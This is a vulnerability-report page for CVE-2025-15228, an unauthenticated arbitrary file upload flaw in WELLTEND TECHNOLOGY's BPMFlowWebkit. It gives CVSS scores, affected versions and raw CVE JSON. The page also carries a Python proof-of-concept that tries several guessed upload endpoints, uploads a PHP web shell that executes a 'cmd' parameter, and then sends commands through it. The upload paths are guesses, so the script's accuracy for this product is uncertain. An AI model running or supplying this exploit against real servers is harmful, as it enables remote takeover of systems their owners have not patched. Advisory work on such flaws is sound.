Security Vulnerability Report
中文
CVE-2025-15228 CVSS 9.8 CRITICAL

CVE-2025-15228

Published: 2025-12-29 08:15:52
Last Modified: 2025-12-31 20:31:33

Description

BPMFlowWebkit developed by WELLTEND TECHNOLOGY has a Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:welltend:bpmflowwebkit:*:*:*:*:*:*:*:* - VULNERABLE
BPMFlowWebkit (WELLTEND TECHNOLOGY) - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-15228 PoC - BPMFlowWebkit Arbitrary File Upload # Target: BPMFlowWebkit by WELLTEND TECHNOLOGY # Vulnerability: Unauthenticated arbitrary file upload leading to RCE def upload_webshell(target_url, webshell_content): """ Upload malicious webshell to vulnerable BPMFlowWebkit server """ # Construct upload endpoint (common paths for BPMFlowWebkit) upload_paths = [ '/upload', '/file/upload', '/bpm/upload', '/api/upload', '/admin/upload' ] for path in upload_paths: upload_url = target_url.rstrip('/') + path files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: # Try to find the uploaded file path if 'upload' in response.text.lower() or 'success' in response.text.lower(): print(f'[+] Possible upload success at: {upload_url}') print(f'[+] Response: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error on {upload_url}: {e}') return False def execute_command(shell_url, command): """ Execute system command via uploaded webshell """ try: params = {'cmd': command} response = requests.get(shell_url, params=params, timeout=10) return response.text except Exception as e: return f'Error: {e}' if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-15228.py <target_url>') sys.exit(1) target = sys.argv[1] # PHP webshell content webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' print('[*] CVE-2025-15228 - BPMFlowWebkit Arbitrary File Upload RCE') print(f'[*] Target: {target}') print('[*] Uploading webshell...') if upload_webshell(target, webshell): print('[+] Webshell uploaded successfully') print('[+] Example: python cve-2025-15228.py <shell_url>?cmd=whoami') else: print('[-] Upload failed or target may not be vulnerable')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15228", "sourceIdentifier": "[email protected]", "published": "2025-12-29T08:15:51.820", "lastModified": "2025-12-31T20:31:32.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BPMFlowWebkit developed by WELLTEND TECHNOLOGY has a Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:welltend:bpmflowwebkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.5", "matchCriteriaId": "D641A078-760B-47D1-8EF7-4E0E539BCB8F"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10605-426b6-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10604-c65aa-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}